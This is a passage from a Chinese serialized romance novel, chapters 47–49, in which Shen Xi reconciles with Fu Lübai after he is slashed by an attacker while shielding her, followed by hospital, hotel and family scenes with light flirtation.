沈晞也语气如常的说:“好。”
可他们又谁都清晰的知道那微顿的一瞬间,都在想——是否还有改天,是否还有以后。
话音便到了这里,虽然最后结束的也都乍似欢喜,但两个人的情绪都落了下来。
这一落,便两天没了联系。
沈晞静静地看着屏幕兀自出神。
“在想什么?”外婆的声音忽然从耳边响起,不知外婆何时已经修剪完花枝,走了过来。
沈晞下意识地看去,修剪的很好,应当是好的吧,其实她对花草并没有太多的理解。但她很喜欢花开满园时的样子,很好看,但此时光秃秃的,只有一只枯败了的还在摇摇欲坠不肯掉下来。
“花都败了。”
“总不能因为花会枯萎就不种花,花开时多好看啊。”外婆看着面前满眼惆怅语气落寞的外孙女,话里有话的说。
沈晞微微怔愣了下,收回视线,有些茫然的问:“……是这样么?”
外婆摸着她的头,一如往日像是摸小孩般,带着睿智和慈祥的说:“不然你会错过很多美好哦。”
沈晞被这好似永远对她包容,永远对她像小孩般,温柔的抚摸摸的瞬间鼻尖发酸,差点当场哭了出来。
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活动一直延续了三天,今日人才陆陆续续的离开的差不多。还真不算骗沈晞,老宅这边确实每年都会组织人见上两回,一是为了家族走动往来,周边些世家小辈也会过来,好听的说是小年轻过来图个热闹,但不过也是为了家族正值试婚年纪的年轻人多走动交流,风云变幻莫测潮起潮落不过是瞬息,各大家族们也都有危机感,靠的不过是这样子叶脉杂乱的相互联合。
二嘛也是老爷子真的年纪大了,人老了,久在老宅,难免想热闹点。
年轻人早早就开散在全球各地,各个行业,偌大的傅家老宅平日里冷清的可怜。
表妹傅望舒和母亲文雅山终于能够落的个清闲,坐在沙发上吃着小茶点,一人喝着茶一人喝着奶茶的看电视,看到有趣时,还要讨论一番。这是傅望舒习惯了的,三伯母总在这幽深的老宅中,人也像是和这老宅融为了一体,静的不像话,也不过才不到六十岁的人,现在六十岁的人都多热闹闲不住啊,哪里像三伯母,所以她过来时总爱多拉着三伯母热闹的聊聊天。
傅律白则喝着咖啡,坐在一旁,虽不腰背挺得笔直,但也不似傅望舒那般都快仰躺在沙发上,只微微轻靠沙发背,安静的实在有些格格不入。
刚刚傅望舒要叫人去拿喝的时,问他喝些什么,他几乎下意识的说要一杯手冲。
傅望舒还愣了下,问他怎么忽然改了口味。
傅律白只轻笑了下没说话。
手机很安静,其实他的手机向来都是安静的,一般人不会惊动他,只要一响起那多是惊天大事,也不过是在刚开始认识沈晞后,手机才热闹起来。她总是会找一些好玩或好吃的东西分享给他,叫他一起去。她像是站在盛开的玫瑰花头叽叽喳喳的小鸟,很是热闹。
但那也只是刚开始时,现在两个人发消息的频率大大减少。
但他还是不自觉的拿起手机来,点开她的头像来,看了看。
正在和伯母激情谈论也讨论不出结果来的傅望舒转
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头问向傅律白,非要拉他入场,“你说是不是——”
傅律白淡淡的看过来,随着动作,衬衣领口微微露出锁骨,某处已经很淡的颜色便若隐若现,虽然很浅,但还是引得傅望舒忘记了之前的话来,整个人呆愣住。
见将他喊住又不讲话,傅律白漫不经心的淡声问:“什么?”
傅望舒还是没讲话,就那样直勾勾的看着。
傅律白莫名,又觉得有些闷,便寻了个由头出去。
待傅律白走后,傅望舒才贼兮兮一脸暧昧的和文雅山说:“哥一定是谈恋爱了,我刚刚看到他一直看手机,脖子上还有……”
最后两个字,她用唇形说着。
文雅山愣了下,深深的眸色中看不出情绪来。
文雅山走过来时,傅律白正站在院子里,看着那经过一场雨,已经枯了的彻底失去生机的花,兀自出神。
听到脚步声,才回过头去。
文雅山走到他身边,人带着股沉静的平和,平和的以至于开口时讲出来的话,让傅律白都没反应过来,“有喜欢的姑娘了?怎么也不见你联系人家。”
也是这一瞬间没来得及掩饰的错愕情绪,让文雅山确认的自己的猜测,目光也淡淡的往他脖子上看了一眼。
傅律白下意识的顺着母亲的目光垂了下眸,意识到她看到了什么。
是那日在车上,大概是时间地点和情绪对于她的刺激太大,两个人都有些失控,她下意识抱紧他时耐不住的无意识咬了一口。
不怎么疼,但还是留下了痕迹,前两日他都是穿着微高的领子,今日在客厅时有些热,下意识地解开了个口子,他以为已经看不出。
傅律白轻笑了下,觉得有些荒唐,他这个年纪在被母亲撞破时,已经不会在生出什么尴尬的情绪来。
但这笑,笑得也是意味深长,像是在回应,又像是在困扰苦恼与无奈。
过了几秒后,语气才有些微沉微轻的说:“也不太联系人家,又不能给人家什么未来,人家要走还是要留,总是该尊重人家的选择的。”
简单的几句话,文雅山便已经听出了个中的缘由来,说:“虽然尊重女孩子的选择,但你总得要人家知道你的心意。你不发消息,不联系人家,人家也可能觉得,你也就这么淡下去了。你可真不像你的父亲,我们两个这样的人,怎么会生出你这样性子的孩子来。”
文雅山的语气间,带着些嫌弃,又带着几分惆怅,过了几秒,顺着话题,冲着他眸色微深,旧话重提的说:“律白,你不欠傅家什么,离开它过自己的生活这是我和你父亲一直努力想要为你做的事……”
但是他们没有成功,一直、一直也没有成功,还赔上了她丈夫的命。
文雅山的情绪开始低落下来。
“妈……”傅律白低声叫着。
文雅山深吸了一口气,平复了情绪,已经入了这因果,又哪里能轻易逃出,她当然深深地知道,她只是无奈与当年他们的无力,但儿子有了喜欢的姑娘,生活总会变得不一样些。
她又带着几分怒其不争的嫌弃笑着说,像是刚刚什么都没发生一样,“你快学学你的父亲好不啦,你父亲对女孩子那么有一套。”
傅律白眉梢微挑,带着几分打趣的问:“父亲怎么有一套?”
“他会每日给我送花,说着坊间那些传闻都是假的,他没有认识什么什么姑娘,只认识文姑娘……”
提起父亲,说起往事来,母亲的神情总是明亮又鲜活些,傅律白看着也愿意她多讲一讲,他希望母亲能稍微开心一点,这也是为什么,他不能就这样甩手不干,离开傅家,他不欠傅家,但他却总不能放下傅家支脉下,无数如母亲这般的人,他总不能做个逃兵,独自逍遥快活。
可就像母亲说的,总要让人家知道你的心意,几日来缠绕在心中的郁结忽然就开了。
却也没见到,文雅山笑着笑着笑容便淡了,可后来他父亲看着她,带着些遗憾与自责的却又说:要是你没进来傅家就好了。
就不会被困在这里,日复一日的等待着枯萎。
47. 第 47 章
沈晞拿着东西下楼的时候,电视机开着,赵姨正在带着老花镜虚着眼的穿针,不管电视里放着什么,但很奇怪就会给人一种家的平和松弛感,但很遗憾现在人都不怎么再看电视,电视甚至成了一种摆设。
听到脚步声她抬头望了眼,顿时找到救星般,“你可醒了茜茜,快来,快帮我把这针穿上,人老了真是不行。”
“您可不老,还能舞太极剑抢鸡蛋,秒杀一堆年轻人。”沈晞向来嘴甜,边说着边走过去穿针。
赵姨看着那根线轻轻松松的进入,投入了羡慕的目光,拿过针线时,余光瞟过前面的电视,顿时被上面的画面吸引,定睛看着。
沈晞全把电视当个背景音,问:“外婆呢,没见着人,您跟她说一声我出去一趟哈。”
“出去?去哪儿啊?”赵姨忙紧张的问,视线都没舍得离开电视,等彻底转了画面,才一脸认真的和沈晞说:“这刚说咱们市有个疯子还是什么的在逃窜,可危险啦。”
沈晞听了一耳朵说:“我晚上之前就回来,绝对不给人贩子机会。”
赵姨还是不放心又在后面叨叨了几句,沈晞已经一溜烟的跑了出去,市区嘛哪能那么容易出事,况且她去的地方,估计连疯子都不会没事过去。
绍市南山公墓,本市最好的一处,她妈妈风光了一生,就该拥有一切最好的。
她买了挺多的东西,现在人非常与时俱进,连别墅跑车手机都有,她一样买了点,别墅挑了最大最符合她妈妈审美的来烧。
她就这样安安静静的,也没像有一人念念有词。等一阵风吹过,她的心在这反而格外的静,或许也本是因为这里足够的幽静,不是什么正日子,偌大的山上也没几个人。
她这次的落荒而逃,其实也不过是察觉到自己越来越失控,自己对傅律白好像没有想象中的洒脱,什么及时行乐可以及时脱身,这还是在,基于“就是玩玩”的心里预设下。
但现在,傅律白显然不知是玩玩了,他是认真的,如果她也跟着认真下去,到时候,她真的还能转身离开么?她还做的到么?
她看着石碑上妈妈的照片,三十五六的年纪,光鲜亮丽永远年轻。
她以为妈妈会选择更年轻时的照片,例如没认识她生物学父亲之前,正是鲜活少女时候的节点,因为认识她的渣爹后,才是她妈妈一切不幸的开始。
她妈妈却说,是什么,就是什么,她永远不会否认自己走过的路,这一路,虽有被辜负,但总归也不算一所无获。她获得了事业,和一个很可爱的女儿,何必为了一个男人而否定。
她的妈妈向来敢作敢当,坚定又强大。
沈晞轻笑了下,都没再问,要是妈妈会怎么选。
她的妈妈一定会说:当然就上喽,人总不能被还未发生还未走过的路就吓死,结局向来不重要,过程才是真正的意义与收获。
不知道她们这代女性,代代都很敢,怎么到她这里,会这么丢人。
沈晞轻笑了下,心情是从未有过的轻松,对着妈妈微笑的年轻的照片轻声说了到这来的第一句话:“那我就上喽,到时你……”
她顿了顿,本想说:多些保佑多些温柔。可最后又想开,觉得没必要,左右都知道了结局,她也不过是,毫无保留的去体验一把过程,尽兴就好,再多的保佑与温柔,似乎都没什么用。
相通了这点,回去的路上,沈晞的步伐都变得格外的轻盈,也忽然很想很想他,恨不得立刻就扑进他的怀里去,于是等她看到傅律白站在停在她家小区外的车子旁时,眼睛立刻就亮了,有些不可置信的快步走了过去,“你怎么来了?”
傅律白看着她明亮的像是藏着星星的眼睛,觉得自己之前真的是在浪费时间,他手提起来,眼睛却还是在看着她,说:“怕你想吃,给你送过来点。”
沈晞看着他手上,是个包装很老式的那种竹子编的点心盒子,应当就是他说的,“也就点心还行”的那个了。
“你就是,特意来送点心么?”沈晞看着他,带着点小女儿的骄纵心里又有点甜。
“还有个事儿。”傅律白漫不经心的说。
沈晞嘴角的笑渐渐僵住,有些尴尬,所以他是来办别的事,顺路给她送来,啊啊啊啊啊好尴尬啊!
下一秒傅律白却看着她说:“还是来告诉你,我有点想你了茜茜。”
沈晞一颗心骤然“砰砰砰”跳了起来,有些不敢置信的看着他,身体比大脑更快一步的反应过来,不由自主的笑着抱住了她的腰,贴进他的胸口上。
她好喜欢现在的自己,好喜欢现在的傅律白,也好喜欢现在的他们。
下一秒,她却被傅律白猛地一推,推了出去,沈晞愣愣的回过头,便见寒光一闪,不知道从哪里冲出来的人来拿着刀,直接冲着傅律白扎了过去,她的心顿时提到了嗓子眼,大脑瞬间空白。
好在傅律白反应很快,大概是推开她的那一瞬便看到了,但推开她用去了些时间,躲避的不及时,刀是侧着他的手臂划过去的,白色的衬衣浅亚麻色的外套瞬间氤氲出殷红来,沈晞的眼睛被那鲜红刺痛。
然而傅律白也并没白白挨上这刀,他反应出奇的快,几乎是在被划过的那一瞬间,他另一只手便反手,猛地按住那人的手腕,大力向上一掰,那人吃痛刀瞬间落地,傅律白眼疾手快的直接将刀一踢,踢出了百米远。
也有行人围了过来,帮着傅律白将人给按住,报警的报警打电话的打电话。
沈晞跌跌撞撞的跑过来,抱住了他的胳膊,一句话也不说,像是吓傻了一样的看着他。
最后还是傅律白先开的口,他用着那条被划破的胳膊摸了摸她的头安抚着,因为另一只被她正扶着,轻笑着说:“哭什么。”
血已经浸透了他的衣服,沈晞被眼前晃过的鲜红刺激的回过神来,快速却又轻轻的握住了他那受伤的手,将他拉了下来,想让他不要在乱动,也是同时才意识到,自己原来在哭。
那一瞬间的大脑空白,连呼吸都停滞,她才知道,原来自己比想象中还要怕失去他。
有人叫了救护车,其实这样还不如自己开车去更快一些。
但傅律白开不了,沈晞不会开,田师傅竟然没跟来,是傅律白自己跨市过来的,事后沈晞问为什么,傅律白笑着说,总要让人家休息一下。
其实不过是他来得突然,又莫名的想自己过来。和沈晞在一起后,他自己开车的时间越
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来越多,其实他很在意一些私密的空间。
而他在苏市过来,也没有他那平日总开的其貌不扬的小奔驰,这还是他捡着辆家里小辈们最差不多得,是一辆三年前的埃尔法,热心群众不敢开,把沈晞急的励志回去就考驾照。
倒是傅律白轻描淡写的笑着说没关系,才有位大哥反复跟他确认后,壮着胆将车开到了医院。
傅律白又感谢的,叫沈晞问好人家要去哪里,为这位大哥叫好了车将人送去。
沈晞在一旁急着让他去处理伤口,这里她会处理好。
车叫的很快,虽然那位大哥连连拒绝,说是应该的。沈晞有些急却还是带笑的和那位大哥说:“我是真着急想进去看看他,您就别在这跟我磨叽了。”
说完又和大哥道了一遍谢,告诉好了车号后,便转身跑了进去。
她进去时,傅律白正在被医生消毒着伤口。
虽然他躲的很快,但那刀也不知道哪里弄来,锋利的很,后来警察说,是那疯子路过菜市场时从杀鱼的那里捡走的,刀口并不整齐,皮开肉绽的很深。
需要进行缝合。
沈晞看着每一针从他身上穿过,她的眉心都要跟着紧皱一下,虽然知道他此时已经打了麻药,应该感受不到太大的疼痛,可是她还是下意识地眉心紧皱。
他的皮肤其实很好,光洁又很白,有时会让她都有些羡慕,但就是这样无暇的皮肤上,肌肉紧实的小臂上,有着长长一道子,看上去扭曲又张牙舞爪,都不难想象那是怎样的疼痛。
等医生走后,沈晞就再也控制不住不住的伏在他怀里哭,又怕弄疼了他的伤口,所以只能克制着身体的浮动,最后都有点喘气不顺的哭抽抽了。
医生其实只是去放个东西,回来还有些医嘱要说,没想到进来就看到这么一幕。
傅律白一边轻抚着她的头,一边给医生投以一个见谅的微笑。
他轻点了下她的鼻尖,软声说着,“还没哭完?医生都在看你。”
沈晞僵了下,站起来,垂着头不说话,眼睛红的厉害。
等彻底只剩下他们后,沈晞又看着他,忽然一字一句的问:“谁叫你挡的?你挡什么啊?”
很质问的语气,带开口就带上了哭腔,还没说完眼泪就跟着往下掉。
她反应过来,那刀是冲着她去的,傅律白是为她挡的这一刀。
如果不是被他推开,受伤的应该是她。
如果他真的出事,因为她出事,她该那什么去应对这漫长的后半生?她怎么担得起!
“看你这话说的,我不该挡么?”傅律白前半句漫不经心散漫的像是在缓和着此时的氛围,可后半句又像是在反问,也像是在表明自己的立场。
沈晞看着他,还是没说话。
最后还是傅律白轻叹了口气,轻拉住她的手,轻声问:“吓到了?”
沈晞手紧了下,像是应激般。
傅律白捏着她的手像是在告诉她,“我没事,我们都没事。”
沈晞觉得必须得明确告诉他,“如果有下次——”
她话未说完,傅律白便声音温淡,却又坚定的说:“不会有下次,茜茜会平平安安,万事顺遂。”
48. 第 48 章
傅律白在这里自然是没有房产的,但好在禹开然产业不少,酒店也开到了绍市,感谢禹少爷没有走完全高大上路线,好让傅律白在这小三线城市得以入住。
他身上的衣服自然是不能穿了,血呼啦的看着吓人,沈晞本想着先让他回酒店,她等会去帮他买一套来,但还未来得及出医院,便有人放了身放在纸袋子里的衣服来,并将他们送回去了酒店。
傅律白和那人叮嘱了句别声张,看来傅先生出了事在他们圈子里是件很严重的事,又或许他是悄悄跑过来的,为了见她还受了伤,这或许就成了一件顶大的事,需要被各个圈子里的人惦记、紧张起来。
沈晞忽然有些想笑,就好像他不过是一时兴起的离经叛道,便搅弄的风云变色,而她还要跟着同流合污,甚至还撺掇着玩的更厉害。
“笑什么?”傅律白问她。
之前看她哭,他跟着难受,可他到底是伤了,现在她在这里笑,他也觉得有些不是滋味。
忽然觉得,好像沾上感情的人,即使是自己也会变得很奇怪,左不行右也不行。
沈晞解释给他听,言语间带着些打趣。
傅律白斜睨了她一眼,说:“确实有些麻烦。”
沈晞的心微微坠了下去,果然和她在一起,是个麻烦的事。
可下一秒傅律白却又说:“不过也不是什么大事,他们虽然会多方打听让人耳根子不清净,但至少睡不着觉的是他们。得饶人处且饶人,压下来让大家都睡个好觉,也算是做些善事。”
“傅大善人,”沈晞侧坐到了他的腿上,半拖着调子说,“你不是向来不信佛,怎么说起了这些。”
傅律白看了她一眼,没讲话。
后来才知道,即使不信可因有了软肋也会下意识避讳,下意识期盼个未来善待。
酒店什么都不缺,虽然比傅律白在京市常驻的那个差了些,但总归是一脉相承,他住起来也应当是习惯的,可沈晞却觉得哪哪都不对,他到底是受了伤,那么大一个口子,缝了挺多针,现在麻药劲儿应该也已经散去,留他一个人孤零零的在这里,实在是舍不得。
傅律白却揽着她的腰拍了拍,“不早了,再不回去家里人要不要担心?”
他并不太确定他们家里的习惯,是否有“门禁”。
沈晞正洗完一小盘水果,站着放在了他床头上,她看到了他间有些细汗,不知道是不是疼的,她心里越发的不是滋味,心一横说:“我跟她们说我不回去了,我在朋友家。”
“哪能让你刚开始就因为我和家里人说谎话,”傅律白笑,抱着她的手又紧了紧,摩挲着带着几分轻哄的说,“我这里晚上又不需要人,等你明天睡醒了想过来再过来。”
这就是和年长几岁的成熟男人恋爱么,周到妥帖处处为她着想,沈晞又忍不住很想亲亲他,她男朋友怎么会这么这么好,她这么想着,也这么做了,低下头,手按在他的肩上就力,就这么轻轻软软的亲着他,亲的最后傅律白都有了情绪,他眸光微深,声音有些哑的轻笑说:“你是想用这种方式留下来么?”
沈晞愣了愣,察觉到他某处的变化后,脸一红,有些错愕又有些羞耻的说:“你、”
她真的就只是想亲亲他。
“我怎么?”傅律白倒是很坦然。
“你怎么、”沈晞有点说不出口,“我就是亲亲你……”
傅律白轻笑,像是觉得有趣,“你亲亲我,我不这样,才奇怪吧?”
“……”沈晞不跟他说这个话题了,又转回到了上一个,轻声说:“你想让我这么留下来……也行。”
傅律白眸光顿了顿,有些震惊,他没想到她会说出这样的话,也没想到她可以予求予取到这样的程度,心中骤然震撼被一道暖流冲击又熨帖着,他揽着她腰的手又紧了紧,随后又松了松,笑得有些漫不经心又有些浪荡风流的说:“今天怕不能让茜茜小姐尽兴。”
你看他这人,连今日状态不太好,会影响些发挥,都能说的这样撩人让人脸红心跳。
沈晞红着脸说不出话来,傅律白又带着些笑意的说:“回去吧,别人家里人担心。”
虽不知道她家具体的规矩与习惯,但偶尔听她提及只言片语间猜测,到底是位老年人总是见不到人要操心的。
沈晞也没再坚持,其实她在绍市确实朋友很少,这些年她一直压着敛着,连朋友有很少交。一时间夜不归宿,说是去朋友家,她都不知道要说出哪个朋友来,可以关系好到直接住下。
沈晞又轻轻握住了他放在一侧那受了伤的手,轻轻在他手背上摩挲着,眼睛看着他已经包扎好放进睡衣里,可她还是能准确知道伤在哪里的伤口说:“你等会儿要是疼,就吃点止痛药,我每个月都会吃一两颗,不会有副作用的。”
沈晞怕他会担心,有很多人都这样,怕一些个副作用想着是药三分毒,怕他就那样强忍着。
傅律白却听得眉心一皱,“你吃这个干什么?你怎么了?”
“……”沈晞愣了下,有些无语又有些不好意思的说:“那个痛啦。”
傅律白也愣了下,这才反应过来,有些尴尬的轻笑。
他就没往那处想,即使现在他们也未完全住在一起,便将这个问题自动忽略疏忽了。但后来,沈晞便后悔了,后悔这样的一句脱口而出。
因为傅律白会在她快来时,过程中,甚至,连刚结束那两天,都会看着她,不让她吃着吃那,拒绝了一切冰淇淋、冷饮,甚至连咖啡酸奶都不可以!
那天,在他将她的咖啡换成了红枣桂圆水后,她发出了严重的抗议。
“为什么咖啡也不行!”她喝的好好地咖啡,没冰可乐她已经很不快乐了好吧,咖啡都换成热的了,为什么她只是一个转头,就变成了——充满老年人养生感的红枣桂圆水?!
傅律白像是早有研究,告诉她咖啡会刺激神经和心血管,会更加增加不舒适感。
那酸奶呢?酸奶为什么也不行!
乳酪是痛经的根源。
沈晞很不服,那芝士呢,那芝士是不是也不能吃!
傅律白想到什么,问她,怎么你昨天吃的汉堡里有芝士么?难怪你会不舒服。
“……???!!!”
没想到她又要折损一员经期可吃食物大将。
但他真的很细心,会为她注意到连她都不知道的很多小细节。
沈晞回到家里的时候,外婆和赵姨又在看当地新闻,正在播那个疯子已经被爱心人士抓住,大概是傅律白提前打了招呼,对于过程和细节很缄默,一般这种新闻都会配着一些个打码的视频和事后当事人采访的,但这个干干净净对这块很模糊,只详细讲了这个疯子的生平,原本也是个正常人,但因为某次考试失利,从此一蹶不振并且愈演愈烈起来,最后几乎熬光了所有的家人。
他是偷跑出来的,不过砍人还是第一次。
“茜茜你回来了,还好还好被抓住了,不然出门都要提心吊胆。”外婆听到动静回头和她讲。
沈晞又仔细看了眼电视,确定连人是在被她家小区门口抓到的都没提,她松了口气,怕外婆多心。
外婆和赵姨还在那里讲:真是好心人啊,为民除害。
言语间全是赞赏,但沈晞莫名得,不想让他只成为外婆口中,这个既好奇又赞赏,可也只会在时间的洪流中淡淡忘却最终也只定格在某个陌生的好心人上。
她忽然开了口,“这人是我朋友。”
“你朋友?”外婆和赵姨都有些意外的看向她。
沈晞点头,“对,我、我朋友,我回来晚了就是去医院看他了,他还受伤了。”
不知道为什么,在说出“我朋友”几个字时她莫名的有些羞耻,有些不好意思。
“啊?”外婆很担心,“严不严重啊,这报道也真是,怎么不说人家见义勇为还受伤了啊,好叫大家捐款啊。”
外婆的思绪很快从“茜茜哪里还有这样的朋友”转移。
沈晞有些哭笑不得,就算是受伤他大概率也不需要捐助。忙说着,“没事,就是被划了一刀。”
“啊呦,
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那也是疼得嘞,”外婆听得直皱眉,明显对这人有了好奇,开始打听,“那他现在怎么样啊,哪个朋友啊,怎么之前没听你提过,家里人在不在这里有没有人照顾啊?”
沈晞开始一个头两个大,又开始后悔刚刚的冲动,可却又莫名心暖暖的,又暖暖的眼睛有些发酸的想哭,越发的不甘心,他最终,也可能在外婆口中只是“你那个朋友”。
沈晞只能大脑有些麻木的说着:有的,家就在这里,是我初中时的一个、同学。不怎么熟,恰巧遇到了。
外婆听着,又“啊呦”了声,紧张的看着她,“那你当时就在现场啊?”
沈晞顿了下,又很快说:“……不是,我就远远看着,觉得眼熟,就过去了。我到的时候人都被制服了。”
才不让她和家里说谎话,她便已经说了这么多,才发现,自己有假话张口就来的本领。
沈晞这一夜睡得并不安稳,大概是担心他的伤,连梦中都见了几次血,不是捅这里就是捅那里,每次都是傅律白为她倒在血泊中的画面,而她就只能那样看着,在一旁无论怎么样呐喊都像是被定住一样过不去。
于是她早早醒来,格外想要见他。
她简单洗漱换了身衣服便出去,练太极剑回来的赵姨在门口遇到她,都吃了一惊,问她今天怎么起得这样早,回家这几天她几乎都是不到中午不下来的。
沈晞随口扯了个理由说是有事,便走了。
但什么事会要这样早,但她已经不在意话中的漏洞百出,只是想快点见到他。
但起得太早的结果就是,大概是昨夜傅律白有吃止痛药,加长了他的睡眠,沈晞到时,他还没有醒,又不想吵醒他,想让他多睡一会儿,昨日真的流了挺多的血,睡一睡好补充些元气,只发了消息给他,让他醒了为自己开一下门。
昨天实在是有些太突然与匆忙,竟然谁都没想起为她再多留一张房卡。
她在门外等着,又觉得他等会醒来会想吃东西,昨天实在是有些兵荒马乱,到酒店时已经是晚上,不知道他是不是因为才打过麻药的缘故,又或许伤口开始疼起来,他的胃口并不是很好,只随便吃了几口,之后便几乎全程都是看着她吃的。
他这样,她也没什么心情,不怎么吃的下。
他却问着,怎么不吃,是不是不合胃口,很担心她会吃不好,她便又只能慢慢地吃起来,他便又淡淡地看着淡淡地笑,好像看她吃饭是件很满足很令他愉悦放松的事。
不知道他是几点到她家楼下的,但她是三点多回来的,苏市到绍市开车过来大概要两个小时,但谁知道他会不会很早便到了。
他做起事来,向来这样细细密密的,密不透风又不显山漏水,做些什么也不会急于邀功,却总让人沦陷的一塌糊涂。
他或许早早就到了,就在这等着她,也不着急打电话,给与她做够的时间做自己的事,好像笃定她一定会下楼或者从别处回来一样。
实在等不到,或许在晚上时,才会发个消息问她,问茜茜小姐现在有没有空,赏不赏光来尝一尝这家的糕点,真心不错。
他可能午饭都没吃!
如果在有什么事耽搁了,早饭没吃也是很有可能的。
!
想到这,沈晞又蹭蹭蹭的跑出去,买了一大堆千奇百怪的早餐回来,有绍市独有的次坞打面、豆腐小笼包、面饽饽等等,面饽饽她都很久没吃到过了,没想到在这会遇到,傅律白的运气真的不错。
还买了很多普罗大众常吃被各地发扬光大的早餐,煎饼、水煎包、鸡蛋灌饼、豆浆……
她提着满满一堆回来,两只手都占满了,傅律白还未回她消息,给她开门。她又开始紧张起来,是不是昨夜他出了事,亦或是他睡着睡着弄裂了伤口也不自知,晕过去了,她越想越觉得有可能,连梦境中的画面都开始在脑海中浮现,她的心骤然一紧。
就在这时,面前的门从里面被打开,傅律白有些苍白的脸便出现在自己面前。
她几乎是一瞬间的扑过去,紧紧地抱住了他。
49. 第 49 章
傅律白没防备的被她忽然冲过来,后退了两步才稳住,被她这个样子弄得轻笑了下,“怎么一大早就这样热情。”
沈晞虽然动作急,但还是下意识避开了他的胳膊,直到这样紧贴着他,感受着他身上的温度,才感受到真实,紧绷的心才松了下来,忍不住的抬头,想要吻上他。
傅律白却躲了下,他头发带着才睡醒后的凌乱,脸色仍带着些苍白的低声笑着和她说:“我还没洗漱。”
沈晞却不管不顾的仰起头,像是怕他再躲一下,一只手贴上他的脖子固定住他的头,闭着眼直接追着吻了上来。
傅律白却有些不自在。
知道沈晞吻得尽兴,将那心中的不安安抚好后,才贴着他的唇角声音含糊的说:“我又不嫌弃。”
傅律白又轻笑了下,这都是什么话。
他环抱住她的腰,往自己怀里紧了紧,问她,“怎么醒这么早?”
平时她没事时,都会睡到中午,有的时候连午饭都会睡过,还是他打电话过去叫她提醒她吃饭,那边总是很慢才接通,接听时也是哼哼唧唧软乎乎的说着干嘛呀,都可以想象出她陷进像棉花糖软绵绵被子里慵懒舒服又惬意的样子。
“我想你了。”她扬着头,下巴抵在他的胸口上,说的大胆,说完后才眼神微闪带着几分羞怯,却又强忍着,就是这么直白的表达着自己的情绪。
傅律白心口微震,觉得她有哪里不一样,又觉得,没白回来一趟,他抱着她轻笑,心里被熨帖填满,很喜欢这样现在的她。
沈晞也很喜欢现在这个样子,于是食欲很好的一边说着是给傅律白买来的早餐,一边又库库往自己嘴里炫,尤其是那个面饽饽,她太久没吃到过最后只给傅律白留了一小口。
后来搞得傅律白以为她很爱吃,后来只要一回来哪怕是在这几市附近,都要买给她,最后搞得她都吃怕了看见就想吐,傅律白才不再买给她。
傅律白期间接了通电话,不知道那边说了些什么,他只简短应声,虽语调依旧温淡,但眉心微敛。沈晞在想,是不是他受伤的事还是被人知道,他们的关系便要在此被迫终止。
傅律白放下电话后,却问她,说:“我有些事情需要回京处理,要不要跟我一起回去。”
他问的是,要不要和他一起回去,而不是问她还要不要回去。
像是在明确的告诉她,他的选择与坚定,表明了自己的态度,现在将选择权放到了她的手中。
沈晞真的很喜欢这样的彼此,却又故意说:“那我要说不会去呢。”
傅律白轻笑,“那我就,再陪陪你。”
“事情不重要了?”沈晞故意打趣着问。
傅律白低头轻笑,“也很重要,但没有茜茜小姐重要。”
沈晞看着他的胳膊,像是迟疑,又问:“那你一个人,行不行啊?”
傅律白轻眨了下眼,挺保守又坦然的说:“不太行。”
最后,沈晞还是选择跟他回去。
傅律白像是这时才想起什么问她,外婆的生日怎么办。
沈晞轻睨着他,也回过味来,早怎么想不到不问,傅先生到底也是圈子里摸爬滚打的人,会有些虚伪,有些计谋,不是真君子如兰。
但她好像更加喜欢这样子的他,一点狡猾有心机的他。
傅律白也只是像是什么都没发生一样,坦然的看着她轻笑。
老狐狸。
沈晞在心里轻骂,其实早就过完了外婆的生日,在她回来后的第二天便过完了,办的很简单,总共就她和赵姨为她庆生,那位生物学的父亲本也想虚情假意的过来,但外婆怕她见了父亲不开心,自己看着这人也不痛快,便回绝了。
回去的也突然,沈晞都还没想好怎么和外婆讲,傅律白送她回家,说是送,也只是陪同,他现在的胳膊自然是开不了车。但傅先生走到哪里都不缺鞍前马后的人,开车的还是昨日送衣服来的那人,一路上,沈晞都在想等一下要怎么和外婆说,但最终也没想好,她坐在这里有些不想下车,傅律白就那样看着她轻笑,像是看热闹一样,一点想要帮忙的意思都没有。
沈晞哼了一声,来了脾气,刚想说我不回去了,忽然一辆白车驶过来,从车子里下来了个穿着像是统一配发的深灰色工作服的人下来,待沈晞看清是谁后,她眼睛瞬间瞪大。
傅律白察觉到她的反应,刚想问她怎么了,沈晞却眼疾手快的,按着他的头直接将人差点九十度对折的往下按,自己也矮身钻到了车座下面。
傅律白一个没防备,被猛地这么一按,差点直接磕到前面的储物柜上,前面的司机也吓了一跳,震惊的回头看着他们。
傅律白眉心微皱,有些不悦的说:“你干什么?”
沈晞低着头捂着他的嘴,冲着他猛摆手,一脸紧张的指了指外面,“我小叔!”
她似乎忘记了车子的隔音性,几乎是用着口型说的。
“……”
“那也不用直接销毁罪证想要弄死我吧,”傅律白又是想气又是想笑。
沈晞刚刚按的是他后背那里,但是经他这么一说,也不确定慌乱间有没有磕碰到他的胳膊了,有些紧张的拉着他受伤的手问:“你没事吧?”
他们都知道,他们这样子的关系,是没办法对人说的,有趣是家里人。便也只能这样浅浅的打趣,都说深了,便让人难过了。
傅律白无声轻叹了口气,轻挑了下眉问她,“你说呢?”
沈晞赶紧忙忙活活的去拉开他的衣袖,想看看他的伤口有没有渗出血来。傅律白便又不紧不慢的说:“没想到茜茜力气还挺大,平时你——”
沈晞猛地捂住他的嘴,有些惊慌的看了眼前面的人,这还坐着人呢,他散漫惯了,私下里也都荤素不忌,生怕他会出说别的什么来,沈晞睨了他一眼。
这一眼,带点小脾气还带点小警告,傅律白被看的莫名,“又怎么了?我说话,老师应当也听不见。”
说这话时,他还回头看了一眼,哪里还有老师的样子,早就进去了。
“你、你说话注意点。”沈晞小声警告他。
傅律白轻笑,像是无奈又像是好笑,“说实话也不行?”
难得这会伤到她什么自尊心么?
“那你也要看在什么地方吧!”沈晞羞耻到恼羞成怒,最后声音都扬上去了。
“怎么了?”傅律白有些哭笑不得,带着笑音的说,“说你平日连瓶盖也拧不开,这会儿抡起我来倒是挺有劲,也得看地方?”
“那你——”
?拧瓶盖?
???就拧瓶盖?
沈晞一个情绪在那卡住,不上不下的,气势减弱,却还不忘为自己挽尊一下,当做什么都没发生过的淡定说:“哦,那你说吧。”
啊啊啊啊啊啊她满脑子里装的都是什么啊!
她这前后反应实在是差的有点大,傅律白看着她微微红起来的脸,忽然眉梢微扬,意识到什么,半拖着调子的睨着她,“你以为我想说什么?”
?!要不要这么敏锐。
“没什么啊,”沈晞像是没事人一样,耳朵却慢慢红了起来,“就拧不开瓶盖嘛,怎么了,我觉得你说的不对,那根本不是我的问题,是有的瓶盖卡住了。”
